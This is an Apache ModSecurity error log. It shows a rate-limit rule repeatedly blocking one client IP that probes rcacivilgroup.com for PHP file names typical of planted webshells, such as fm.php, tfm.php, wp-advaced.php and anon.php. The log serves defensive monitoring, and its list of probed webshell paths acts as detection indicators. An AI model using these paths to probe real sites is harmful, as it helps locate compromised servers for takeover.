[Tue Mar 24 05:42:21.272938 2026] [:error] [pid 3137:tid 3155] [client 172.213.136.15:33528] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tfm.php"] [unique_id "acGzvZdZesutm6dfYM_ixwAAANA"]
[Tue Mar 24 05:42:22.065543 2026] [:error] [pid 38767:tid 38791] [client 172.213.136.15:33426] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tfm.php"] [unique_id "acGzvvwkUqN4GJAI5oV4BQAAARU"]
[Tue Mar 24 05:42:23.678531 2026] [:error] [pid 3032:tid 3114] [client 172.213.136.15:6164] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tfm.php"] [unique_id "acGzvya_-JXXD03-JNzHkAAAAIs"]
[Tue Mar 24 05:42:24.823512 2026] [:error] [pid 3137:tid 3140] [client 172.213.136.15:6155] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tfm.php"] [unique_id "acGzwJdZesutm6dfYM_iywAAAME"]
[Tue Mar 24 05:42:26.005072 2026] [:error] [pid 38767:tid 38778] [client 172.213.136.15:40699] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aQw.php"] [unique_id "acGzwvwkUqN4GJAI5oV4CgAAAQg"]
[Tue Mar 24 05:42:27.249077 2026] [:error] [pid 3031:tid 3081] [client 172.213.136.15:21177] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aQw.php"] [unique_id "acGzw6JBKytnG47nuibbZAAAAEU"]
[Tue Mar 24 05:42:28.391075 2026] [:error] [pid 3031:tid 3080] [client 172.213.136.15:6784] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aQw.php"] [unique_id "acGzxKJBKytnG47nuibbaAAAAEQ"]
[Tue Mar 24 05:42:29.170560 2026] [:error] [pid 3137:tid 3158] [client 172.213.136.15:23207] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aQw.php"] [unique_id "acGzxZdZesutm6dfYM_i0QAAANM"]
[Tue Mar 24 05:42:30.992965 2026] [:error] [pid 38767:tid 38783] [client 172.213.136.15:33417] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/unit.php"] [unique_id "acGzxvwkUqN4GJAI5oV4DwAAAQ0"]
[Tue Mar 24 05:42:31.982472 2026] [:error] [pid 3030:tid 3056] [client 172.213.136.15:21124] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/unit.php"] [unique_id "acGzxwyOuILyynfcqfn10gAAAAc"]
[Tue Mar 24 05:42:33.138680 2026] [:error] [pid 3030:tid 3066] [client 172.213.136.15:21836] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/unit.php"] [unique_id "acGzyQyOuILyynfcqfn11gAAABE"]
[Tue Mar 24 05:42:34.302451 2026] [:error] [pid 38767:tid 38781] [client 172.213.136.15:22857] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/unit.php"] [unique_id "acGzyvwkUqN4GJAI5oV4EgAAAQs"]
[Tue Mar 24 05:42:35.056462 2026] [:error] [pid 38767:tid 38776] [client 172.213.136.15:34183] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bgymj.php"] [unique_id "acGzy_wkUqN4GJAI5oV4FQAAAQY"]
[Tue Mar 24 05:42:35.841651 2026] [:error] [pid 38767:tid 38778] [client 172.213.136.15:21872] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bgymj.php"] [unique_id "acGzy_wkUqN4GJAI5oV4GAAAAQg"]
[Tue Mar 24 05:42:36.529669 2026] [:error] [pid 3030:tid 3069] [client 172.213.136.15:6175] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bgymj.php"] [unique_id "acGzzAyOuILyynfcqfn12AAAABQ"]
[Tue Mar 24 05:42:38.306245 2026] [:error] [pid 3032:tid 3120] [client 172.213.136.15:33772] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bgymj.php"] [unique_id "acGzzia_-JXXD03-JNzHnQAAAJE"]
[Tue Mar 24 05:42:39.940627 2026] [:error] [pid 3137:tid 3159] [client 172.213.136.15:6153] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nx.php"] [unique_id "acGzz5dZesutm6dfYM_i2wAAANQ"]
[Tue Mar 24 05:42:40.781518 2026] [:error] [pid 38767:tid 38786] [client 172.213.136.15:6874] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nx.php"] [unique_id "acGz0PwkUqN4GJAI5oV4HQAAARA"]
[Tue Mar 24 05:42:42.077883 2026] [:error] [pid 3031:tid 3097] [client 172.213.136.15:6828] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nx.php"] [unique_id "acGz0qJBKytnG47nuibbdAAAAFU"]
[Tue Mar 24 05:42:45.337735 2026] [:error] [pid 3032:tid 3103] [client 172.213.136.15:33510] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nx.php"] [unique_id "acGz1Sa_-JXXD03-JNzHpgAAAIA"]
[Tue Mar 24 05:42:47.369578 2026] [:error] [pid 3137:tid 3155] [client 172.213.136.15:22860] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-advaced.php"] [unique_id "acGz15dZesutm6dfYM_i3wAAANA"]
[Tue Mar 24 05:42:48.515501 2026] [:error] [pid 3032:tid 3114] [client 172.213.136.15:22908] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-advaced.php"] [unique_id "acGz2Ca_-JXXD03-JNzHqQAAAIs"]
[Tue Mar 24 05:42:53.355314 2026] [:error] [pid 38767:tid 38779] [client 172.213.136.15:21959] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-advaced.php"] [unique_id "acGz3fwkUqN4GJAI5oV4LAAAAQk"]
[Tue Mar 24 05:42:54.199918 2026] [:error] [pid 3032:tid 3116] [client 172.213.136.15:31396] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-advaced.php"] [unique_id "acGz3ia_-JXXD03-JNzHqgAAAI0"]
[Tue Mar 24 05:42:55.053230 2026] [:error] [pid 38767:tid 38776] [client 172.213.136.15:22874] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7h.php"] [unique_id "acGz3_wkUqN4GJAI5oV4LgAAAQY"]
[Tue Mar 24 05:42:56.609560 2026] [:error] [pid 3030:tid 3053] [client 172.213.136.15:23215] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7h.php"] [unique_id "acGz4AyOuILyynfcqfn14AAAAAQ"]
[Tue Mar 24 05:43:16.055819 2026] [:error] [pid 38767:tid 38794] [client 172.213.136.15:21882] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/anz.php"] [unique_id "acGz9PwkUqN4GJAI5oV4RgAAARg"]
[Tue Mar 24 05:43:17.543697 2026] [:error] [pid 3137:tid 3158] [client 172.213.136.15:6555] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/anz.php"] [unique_id "acGz9ZdZesutm6dfYM_i7gAAANM"]
[Tue Mar 24 05:43:18.671049 2026] [:error] [pid 3137:tid 3153] [client 172.213.136.15:21887] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/anz.php"] [unique_id "acGz9pdZesutm6dfYM_i8AAAAM4"]
[Tue Mar 24 05:43:20.049930 2026] [:error] [pid 3031:tid 3100] [client 172.213.136.15:25996] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/anz.php"] [unique_id "acGz-KJBKytnG47nuibbmAAAAFg"]
[Tue Mar 24 05:43:21.649023 2026] [:error] [pid 3032:tid 3116] [client 172.213.136.15:21838] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bge.php"] [unique_id "acGz-Sa_-JXXD03-JNzHtgAAAI0"]
[Tue Mar 24 05:43:23.337172 2026] [:error] [pid 3030:tid 3073] [client 172.213.136.15:6165] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bge.php"] [unique_id "acGz-wyOuILyynfcqfn18gAAABg"]
[Tue Mar 24 05:43:24.713610 2026] [:error] [pid 3031:tid 3082] [client 172.213.136.15:21976] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bge.php"] [unique_id "acGz_KJBKytnG47nuibbnAAAAEY"]
[Tue Mar 24 05:43:27.395152 2026] [:error] [pid 3031:tid 3084] [client 172.213.136.15:36266] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bge.php"] [unique_id "acGz_6JBKytnG47nuibboAAAAEg"]
[Tue Mar 24 05:43:28.187231 2026] [:error] [pid 3030:tid 3061] [client 172.213.136.15:27322] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fm.php"] [unique_id "acG0AAyOuILyynfcqfn1-wAAAAw"]
[Tue Mar 24 05:43:29.227870 2026] [:error] [pid 3030:tid 3053] [client 172.213.136.15:34238] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fm.php"] [unique_id "acG0AQyOuILyynfcqfn1_wAAAAQ"]
[Tue Mar 24 05:43:30.717738 2026] [:error] [pid 3137:tid 3149] [client 172.213.136.15:23477] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fm.php"] [unique_id "acG0ApdZesutm6dfYM_i9QAAAMo"]
[Tue Mar 24 05:43:31.506127 2026] [:error] [pid 38767:tid 38791] [client 172.213.136.15:40198] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fm.php"] [unique_id "acG0A_wkUqN4GJAI5oV4TgAAARU"]
[Tue Mar 24 05:43:32.681061 2026] [:error] [pid 3137:tid 3157] [client 172.213.136.15:34209] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v2.php"] [unique_id "acG0BJdZesutm6dfYM_i9wAAANI"]
[Tue Mar 24 05:43:35.265185 2026] [:error] [pid 3030:tid 3055] [client 172.213.136.15:36240] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v2.php"] [unique_id "acG0BwyOuILyynfcqfn2BAAAAAY"]
[Tue Mar 24 05:43:36.156947 2026] [:error] [pid 3030:tid 3070] [client 172.213.136.15:31387] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v2.php"] [unique_id "acG0CAyOuILyynfcqfn2BgAAABU"]
[Tue Mar 24 05:43:37.109871 2026] [:error] [pid 3137:tid 3161] [client 172.213.136.15:31391] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v2.php"] [unique_id "acG0CZdZesutm6dfYM_i_QAAANY"]
[Tue Mar 24 05:43:38.638710 2026] [:error] [pid 38767:tid 38788] [client 172.213.136.15:34194] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5e0a.php"] [unique_id "acG0CvwkUqN4GJAI5oV4VQAAARI"]
[Tue Mar 24 05:43:39.958506 2026] [:error] [pid 3137:tid 3142] [client 172.213.136.15:6565] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5e0a.php"] [unique_id "acG0C5dZesutm6dfYM_jAQAAAMM"]
[Tue Mar 24 05:43:40.791093 2026] [:error] [pid 3137:tid 3146] [client 172.213.136.15:23094] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5e0a.php"] [unique_id "acG0DJdZesutm6dfYM_jAgAAAMc"]
[Tue Mar 24 05:43:46.788296 2026] [:error] [pid 38767:tid 38784] [client 172.213.136.15:21955] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5e0a.php"] [unique_id "acG0EvwkUqN4GJAI5oV4XQAAAQ4"]
[Tue Mar 24 05:44:12.579109 2026] [:error] [pid 3031:tid 3099] [client 172.213.136.15:22473] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cyber.php"] [unique_id "acG0LKJBKytnG47nuibbwwAAAFc"]
[Tue Mar 24 05:44:13.454174 2026] [:error] [pid 38767:tid 38781] [client 172.213.136.15:31407] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cyber.php"] [unique_id "acG0LfwkUqN4GJAI5oV4gAAAAQs"]
[Tue Mar 24 05:44:40.063340 2026] [:error] [pid 3137:tid 3163] [client 172.213.136.15:35714] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/anon.php"] [unique_id "acG0SJdZesutm6dfYM_jSAAAANg"]
[Tue Mar 24 05:44:40.830594 2026] [:error] [pid 3137:tid 3145] [client 172.213.136.15:37300] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/anon.php"] [unique_id "acG0SJdZesutm6dfYM_jSwAAAMY"]
[Tue Mar 24 05:44:42.190597 2026] [:error] [pid 3030:tid 3070] [client 172.213.136.15:31982] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/anon.php"] [unique_id "acG0SgyOuILyynfcqfn2OwAAABU"]
[Tue Mar 24 05:44:43.267178 2026] [:error] [pid 38767:tid 38780] [client 172.213.136.15:31029] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/anon.php"] [unique_id "acG0S_wkUqN4GJAI5oV4nwAAAQo"]
[Tue Mar 24 05:44:44.139442 2026] [:error] [pid 3031:tid 3094] [client 172.213.136.15:6482] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v3.php"] [unique_id "acG0TKJBKytnG47nuibb6gAAAFI"]
[Tue Mar 24 05:44:45.178788 2026] [:error] [pid 3031:tid 3086] [client 172.213.136.15:37250] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v3.php"] [unique_id "acG0TaJBKytnG47nuibb7AAAAEo"]
[Tue Mar 24 05:44:46.349415 2026] [:error] [pid 38767:tid 38785] [client 172.213.136.15:25496] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v3.php"] [unique_id "acG0TvwkUqN4GJAI5oV4qgAAAQ8"]
[Tue Mar 24 05:44:47.424910 2026] [:error] [pid 38767:tid 38780] [client 172.213.136.15:25508] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v3.php"] [unique_id "acG0T_wkUqN4GJAI5oV4rgAAAQo"]
